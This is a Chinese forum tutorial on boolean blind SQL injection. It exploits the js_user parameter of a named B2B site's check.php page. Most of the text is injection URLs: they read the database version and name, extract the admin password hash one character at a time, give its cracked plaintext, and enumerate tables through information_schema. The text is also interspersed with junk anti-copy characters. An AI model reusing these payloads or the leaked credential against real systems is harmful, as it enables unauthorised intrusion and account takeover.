|
本文实例来自习科论坛交流三群。这个注入点可以使用错误回显注入来爆数据,本文出于讲解的目的,使用更麻烦的盲注。4 x% E$ P' s. y2 j. E! I
阅读本文,需要有一点点SQL基础。盲注理解起来其实非常简单,就是做起来非常费劲
# H5 L' v& y# a: A作者:YoCo Smart
! i4 s4 n3 F: ?# Z, v; \来自:习科信息技术 - http://BlackBap.Org
( M3 h# A6 Z9 O) W8 i t我们先来看注入点,是一个B2B网站建站公司: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin
- 用户名已被注册
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'
- select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 18 G& d& v: J+ H2 n8 T
3 r" D2 \+ j" T; i- w3 `7 Q5 X复制代码
+ Z* M; M8 L8 p* M- E错误提示已经很明了了。我们看一下注入页面的代码(有删改): - $js_user = trim($_GET["js_user"]);
- if($js_user){
- $num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
- if(!$num)
- echo "<div class=tips3></div>";
- else
- echo "<div class=tips2>用户名已被注册</div>";
- }; ^( M: S: E: l* N$ e
2 n* s4 P& {( P( o( U' z0 S0 ]复制代码; u- y! v1 M! U$ F$ z
以GET方式取值的变量js_user虽然没有过滤被直接带入了数据库执行,并且MySQL也执行了,但是并没有显示数据库的任何信息,而是判断是否符合, T4 N7 [. |! S$ M
那么我们先从union的盲注来看吧。
1 ~2 t- X! i* x3 Y0 H9 W先看版本: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=5%23- V! X6 L' M1 \- {9 r5 O
9 g1 I5 X0 }; T/ S$ A复制代码8 ?+ H0 }$ i- m4 ~
这个时候我们来看看原来的代码中的SQL语句是怎么执行的: - select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'
Y7 r, h- i. j- h* L
1 j1 d: ~2 d" t/ h2 A9 w复制代码- _. m5 D% S1 k+ G/ f5 c& ~ @
因为执行成功,所以不符合if(!$num)这个条件,回显“用户名已被注册”,那么版本为5成立
q8 @) k& J+ E再来看database()的数据: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(database())=6%23
- database()长度6
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),1)='l'%23
- l
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),2)='li'%23
- li
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),3)='lic'%23
- lic
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),4)='licl'%23
- licl
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),5)='licln'%23
- licln
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),6)='liclny'%23
- licclny
' ~# Y- o& G) }6 Z ; B4 a y. E0 R) f; w
复制代码
2 ]3 P" g& @. B* u9 {/ K0 jlength()函数是计算括号中数据的长度,回显为纯数字,可以用大于小于和等于号来判断是否正确。% {5 y6 U$ O7 M, b
这里要注意看一下left()函数中的数字变化,关于left()函数,可以自行参考MySQL手册。( u6 G R/ X1 \6 K0 k' D
再来看一点简单的判断句: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(pass)=32%23
- select userid from demo_b2b_member where user = 'admin'and length(pass)=32#'
! ~7 j- {* C8 c8 h$ B* I: P- k1 a8 U
: Y6 T* u: m: L复制代码
C2 Y8 x! \+ n6 [& H5 B这个时候length()函数中的pass是猜测的,当然是建立在猜测正确的基础上。/ f" J2 Y3 D5 Y( j0 ]/ y
这里要说的是,pass和前面select后的userid同属一个表段demo_b2b_admin,所以不需要再带select语句
8 n8 Y- F9 I3 ]4 `7 e* u) Y, w那么这里就能得到: - 这里最后没有'#这个终止符,大家带进去看一下,你们懂得。前开后闭。
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,1)='0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,2)='04
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,3)='048
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,4)='0484
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,5)='04843
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,6)='04843e
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,7)='04843e9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,8)='04843e9f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,9)='04843e9f9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,10)='04843e9f91
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,11)='04843e9f91a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,12)='04843e9f91ad
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,13)='04843e9f91adf
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,14)='04843e9f91adf2
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,15)='04843e9f91adf22
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,16)='04843e9f91adf228
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,17)='04843e9f91adf2287
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,18)='04843e9f91adf2287c
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,19)='04843e9f91adf2287c0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,20)='04843e9f91adf2287c0a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,21)='04843e9f91adf2287c0af
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,22)='04843e9f91adf2287c0af5
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,23)='04843e9f91adf2287c0af5f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,24)='04843e9f91adf2287c0af5fe
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,25)='04843e9f91adf2287c0af5fe1
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,26)='04843e9f91adf2287c0af5fe16
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,27)='04843e9f91adf2287c0af5fe167
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,28)='04843e9f91adf2287c0af5fe1675
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,29)='04843e9f91adf2287c0af5fe16750
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,30)='04843e9f91adf2287c0af5fe16750a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,31)='04843e9f91adf2287c0af5fe16750a3
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,32)='04843e9f91adf2287c0af5fe16750a35
- 长度是32,是md5加密,解密得到lcl2wly1 u N, v' s; d: Y( l% c: J6 c- N
$ m1 L% S8 L$ }3 \0 l1 s) W复制代码
% s5 T& H0 j- z) [4 ]& J这样,猜数据的方法你肯定是懂了$ Q; R9 Z6 j2 [. s: C
/ S/ `9 K0 K( v
- ~! X, k" d) Y- G
最后,我们来看demo_b2b_admin以外的数据,现在再来猜表段: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<100%23
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%23
. t1 p/ k, S( P, z3 k% i- {! Z1 j. n
+ M" |% O8 c, ~" \5 t' W) U4 |. D复制代码8 d( Y1 i+ B) r/ ]( m
实际运行的SQL语句就是: - select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'
5 d: H9 A% L% j2 }
5 \6 Z$ ~1 d; v+ S复制代码, p) S0 q8 m& C: x9 P7 A5 L v
上面这个语句,对于information_schema不明白的,可以参考其他MySQL注入文章来看一下这个库的意义。2 Q3 K( f* F+ v
关于limit x,y 的用法,可以参考MySQL手册* t5 \3 Z- A5 X
" R5 p, e* U9 D3 S
最后剩下的要说的就是ascii函数和hex函数了
* G. G" J" L, G$ N( q这两个函数的意义是避开php的GPC转义,例如: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass,1),1,1)=char(48)%23
- select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#/ ]4 R& l3 V% G; d/ f. j
7 `* B o7 Z Y0 A0 L- v* ^, t复制代码7 {# F x" F. q
substr()的用法可以参考MySQL手册,如果不懂,就这样套好了。Char()里面的数字替换为ascii码数字 |
|